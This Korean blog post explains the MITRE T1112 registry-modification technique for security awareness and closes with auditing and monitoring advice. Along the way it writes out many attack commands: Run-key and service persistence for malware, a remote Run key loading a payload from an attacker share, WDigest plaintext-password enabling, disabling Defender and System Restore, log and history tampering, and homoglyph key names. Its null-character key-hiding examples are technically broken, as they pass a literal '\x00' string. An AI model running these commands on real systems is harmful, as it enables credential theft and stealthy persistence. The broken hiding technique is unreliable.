COMMENTS (0)
댓글은 익명으로 작성되며, 삭제 비밀번호를 설정하면 본인만 삭제할 수 있습니다. 비밀번호를 설정하지 않은 댓글은 누구나 삭제할 수 있습니다.
MITRE T1112 레지스트리 조작 공격의 동작 원리와 6단계 공격 흐름을 상세히 분석합니다. 공격자가 null 문자로 키를 숨기고 WDigest로 평문 암호를 탈취하는 방법을 알아보세요.
댓글은 익명으로 작성되며, 삭제 비밀번호를 설정하면 본인만 삭제할 수 있습니다. 비밀번호를 설정하지 않은 댓글은 누구나 삭제할 수 있습니다.
Windows 레지스트리는 전 세계 수많은 Windows 시스템의 핵심 설정 저장소이다. MITRE ATT&CK T1112 기법은 공격자가 이 중앙 집중식 데이터베이스를 조작하여 방어를 우회하고 공격을 지속시키는 방법을 설명한다. 단순해 보이는 레지스트리 수정이지만, 공격자들은 이 방법으로 시스템 깊숙이 숨어들고 탐지를 회피하며 지속적인 접근을 확보한다.
과거 DOS 시절에는 각 프로그램이 자신만의 설정 파일을 사용했다. 하지만 Windows가 등장하면서 수천 개의 프로그램이 각자 다른 방식으로 설정을 저장하게 되었고, 이는 관리의 악몽이었다. 시스템 설정이 곳곳에 흩어져 있어 프로그램 간 충돌이 빈번했고, 설정 백업이나 복원도 거의 불가능했다.
Microsoft는 이 문제를 해결하기 위해 Windows 3.1부터 레지스트리라는 중앙 집중식 설정 데이터베이스를 도입했다. 모든 시스템 설정과 프로그램 구성이 하나의 계층적 구조로 관리되면서 일관성과 효율성이 크게 향상되었다.
하지만 이런 중앙 집중식 구조는 공격자에게도 매력적인 표적이 되었다. 레지스트리 하나만 조작하면 시스템 전체의 동작을 바꿀 수 있기 때문이다.
Adversaries may interact with the Windows Registry to hide configuration information within Registry keys, remove information as part of cleaning up, or as part of other techniques to aid in persistence and execution. — MITRE ATT&CK T1112
T1112는 공격자가 Windows 레지스트리를 조작하여 설정 정보를 숨기거나, 흔적을 제거하거나, 지속성과 실행을 돕는 다른 기법의 일부로 활용하는 공격 기법이다.
T1112 공격의 핵심 구성 요소는 다음과 같다:
| 용어 | 설명 |
|---|---|
| 레지스트리 키 | 역할: 폴더 역할의 컨테이너 / 조작 대상: 키 생성/삭제/숨김 / 공격자 활용법: 악성 설정 저장소 생성 |
| 레지스트리 값 | 역할: 실제 설정 데이터 / 조작 대상: 값 변경/추가 / 공격자 활용법: 시스템 동작 조작 |
| 레지스트리 하이브 | 역할: 최상위 키 그룹 / 조작 대상: HKLM, HKCU 등 / 공격자 활용법: 권한별 공격 경로 |
| 자동 실행 키 | 역할: 시스템 시작 시 실행 / 조작 대상: Run, RunOnce 등 / 공격자 활용법: 지속성 확보 |
| 보안 정책 키 | 역할: 보안 설정 저장 / 조작 대상: SecurityProviders 등 / 공격자 활용법: 방어 메커니즘 우회 |
공격자는 먼저 현재 사용자의 레지스트리 접근 권한을 확인한다. 일반 사용자는 HKEY_CURRENT_USER에만 쓰기 권한이 있지만, 관리자 권한을 얻으면 HKEY_LOCAL_MACHINE까지 조작할 수 있다.
# 현재 권한으로 접근 가능한 키 확인
Get-Acl "HKLM:\SOFTWARE" | Format-List
# 레지스트리 키 존재 여부 확인
Test-Path "HKLM:\SOFTWARE\Microsoft\Windows\CurrentVersion\Run"
공격자는 null 문자(\x00)를 키 이름 앞에 붙여 일반적인 도구로는 보이지 않는 숨겨진 키를 생성한다.
# null 문자를 포함한 숨겨진 키 생성
reg add "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /v "\x00HiddenMalware" /t REG_SZ /d "C:\temp\malware.exe"
이런 키는 일반적인 레지스트리 편집기에서는 표시되지 않지만 시스템은 정상적으로 인식하여 실행한다.
공격자는 Windows 보안 메커니즘을 무력화하기 위해 특정 레지스트리 키를 조작한다.
# WDigest 인증을 활성화하여 평문 암호 저장
Set-ItemProperty -Path "HKLM:\SYSTEM\CurrentControlSet\Control\SecurityProviders\WDigest" -Name "UseLogonCredential" -Value 1
# Windows Defender 실시간 보호 비활성화
Set-ItemProperty -Path "HKLM:\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection" -Name "DisableRealtimeMonitoring" -Value 1
공격자는 시스템 재부팅 후에도 악성코드가 자동 실행되도록 자동 실행 키를 조작한다.
# 시스템 시작 시 악성코드 자동 실행
reg add "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /v "WindowsUpdate" /t REG_SZ /d "C:\Windows\System32\malware.exe"
# 서비스로 등록하여 더 깊은 지속성 확보
reg add "HKLM\SYSTEM\CurrentControlSet\Services\FakeService" /v "ImagePath" /t REG_SZ /d "C:\temp\backdoor.exe"
공격자는 측면 이동의 일부로 원격 시스템의 레지스트리를 조작할 수 있다. 이를 위해서는 대상 시스템의 원격 레지스트리 서비스가 실행 중이어야 한다.
# 원격 시스템의 레지스트리에 악성코드 등록
reg add "\\target-pc\HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /v "RemoteMalware" /t REG_SZ /d "\\attacker-server\share\payload.exe"
공격이 완료되면 공격자는 로그 설정을 조작하여 자신의 활동 흔적을 제거한다.
# 이벤트 로그 크기 제한하여 빠른 덮어쓰기 유도
Set-ItemProperty -Path "HKLM:\SYSTEM\CurrentControlSet\Services\EventLog\Security" -Name "MaxSize" -Value 1024
# PowerShell 명령 기록 비활성화
Set-ItemProperty -Path "HKLM:\SOFTWARE\Policies\Microsoft\Windows\PowerShell\PSReadline" -Name "HistorySaveStyle" -Value "SaveNothing"
레지스트리 조작은 건물의 전기 배선판을 조작하는 것과 유사한다. 몇 개의 스위치만 바꿔도 전체 건물의 조명, 보안 시스템, 엘리베이터가 모두 영향을 받다. 공격자는 이런 중앙 제어 지점의 특성을 악용하여 최소한의 조작으로 최대한의 효과를 얻다.
공격자들이 레지스트리를 선호하는 이유는 명확한다. 한 번의 조작으로 시스템 전체의 동작을 바꿀 수 있고, 대부분의 관리자가 레지스트리의 모든 키를 모니터링하지 않기 때문이다. 또한 Windows 내장 도구만으로도 충분히 강력한 공격이 가능한다.
공격자들은 다음과 같은 이유로 레지스트리를 표적으로 삼다:
1. 평문 암호 저장 강제
공격자는 WDigest 설정을 조작하여 Windows가 사용자 암호를 평문으로 메모리에 저장하도록 강제한다.
# WDigest 평문 암호 저장 활성화
reg add "HKLM\SYSTEM\CurrentControlSet\Control\SecurityProviders\WDigest" /v "UseLogonCredential" /t REG_DWORD /d 1
이후 공격자는 T1003.001 LSASS Memory 기법을 사용하여 메모리에서 평문 암호를 직접 추출한다.
2. 프로그램 실행 차단
공격자는 보안 도구의 실행을 차단하는 레지스트리 키를 생성한다.
# 특정 프로그램 실행 금지 정책 생성
reg add "HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer" /v "DisallowRun" /t REG_DWORD /d 1
reg add "HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer\DisallowRun" /v "1" /t REG_SZ /d "msconfig.exe"
reg add "HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer\DisallowRun" /v "2" /t REG_SZ /d "regedit.exe"
3. 시스템 복원 비활성화
공격자는 시스템 복원 기능을 비활성화하여 피해자가 공격 이전 상태로 돌아가지 못하도록 한다.
# 시스템 복원 완전 비활성화
Set-ItemProperty -Path "HKLM:\SOFTWARE\Microsoft\Windows NT\CurrentVersion\SystemRestore" -Name "DisableSR" -Value 1
Set-ItemProperty -Path "HKLM:\SOFTWARE\Policies\Microsoft\Windows NT\SystemRestore" -Name "DisableConfig" -Value 1
Null 문자 활용
공격자는 키 이름에 null 문자(\x00)를 삽입하여 일반적인 도구로는 보이지 않는 키를 생성한다.
import winreg
# null 문자가 포함된 숨겨진 키 생성
key_name = "\x00HiddenMalware"
key = winreg.CreateKey(winreg.HKEY_CURRENT_USER, f"SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Run")
winreg.SetValueEx(key, key_name, 0, winreg.REG_SZ, "C:\\temp\\malware.exe")
winreg.CloseKey(key)
Unicode 문자 활용
공격자는 시각적으로 구별하기 어려운 유니코드 문자를 사용하여 정상 키와 유사한 이름을 만듭니다.
# 라틴 문자 'o' 대신 키릴 문자 'о' 사용
reg add "HKCU\SOFTWARE\Micrоsoft\Windows\CurrentVersion\Run" /v "WindowsUpdater" /t REG_SZ /d "malware.exe"
APT28 (Fancy Bear)
2016년 APT28 그룹은 미국 민주당 전국위원회(DNC) 공격에서 다음과 같은 레지스트리 조작을 사용했다:
# X-Agent 백도어의 지속성 확보
reg add "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /v "Windows Security Health Service" /t REG_SZ /d "C:\Windows\System32\SecurityHealthSystray.exe"
정상적인 Windows 보안 서비스명과 유사한 이름을 사용하여 관리자의 의심을 피했다.
Lazarus 그룹
Lazarus 그룹 10년 해킹 역사에서 다룬 바와 같이, 이들은 레지스트리를 통해 보안 도구를 우회했다:
# Windows Defender 예외 경로 추가
Set-ItemProperty -Path "HKLM:\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" -Name "C:\Windows\System32\legitimate.exe" -Value 0
레지스트리 감사 활성화
Windows 이벤트 ID 4657을 활성화하여 레지스트리 값 변경을 모니터링한다.
# 레지스트리 감사 정책 활성화
auditpol /set /subcategory:"Registry" /success:enable /failure:enable
핵심 키 모니터링
다음 레지스트리 키들은 특히 주의 깊게 모니터링해야 한다:
# 모니터링 대상 키 목록
$CriticalKeys = @(
"HKLM:\SOFTWARE\Microsoft\Windows\CurrentVersion\Run",
"HKLM:\SOFTWARE\Microsoft\Windows\CurrentVersion\RunOnce",
"HKLM:\SYSTEM\CurrentControlSet\Services",
"HKLM:\SYSTEM\CurrentControlSet\Control\SecurityProviders\WDigest",
"HKLM:\SOFTWARE\Policies\Microsoft\Windows Defender"
)
# 각 키의 변경 사항 모니터링
foreach ($key in $CriticalKeys) {
Get-ItemProperty -Path $key -ErrorAction SilentlyContinue
}
PowerShell 모니터링 강화
PowerShell을 통한 레지스트리 조작을 탐지하기 위해 스크립트 블록 로깅을 활성화한다:
# PowerShell 스크립트 블록 로깅 활성화
reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows\PowerShell\ScriptBlockLogging" /v "EnableScriptBlockLogging" /t REG_DWORD /d 1
올바른 구현 체크리스트
T1112 레지스트리 조작 공격은 Windows 시스템의 중앙 집중식 설정 관리 구조를 악용하여 방어를 우회하고 지속성을 확보하는 강력한 기법이다.
이 기법은 T1562 보안 무력화나 T1059.001 PowerShell 악성코드 같은 다른 공격 기법과 연계되어 사용되는 경우가 많다. 특히 T1003 자격증명 덤핑 공격에서 WDigest 설정을 조작하는 용도로 자주 활용된다.
다음에 알아볼 관련 주제들:
AI 활용 안내 이 글은 AI(Claude)의 도움을 받아 작성되었습니다. 인용된 통계와 사례는 참고 자료에 명시된 출처에 근거하며, 설명을 위한 일부 표현은 각색되었습니다.
면책 조항 본 글은 보안 인식 제고를 위한 교육 목적으로 작성되었습니다. 언급된 공격 기법을 실제로 시도하는 행위는 「정보통신망법」, 「형법」 등에 따라 처벌받을 수 있으며, 본 블로그는 이에 대한 법적 책임을 지지 않습니다.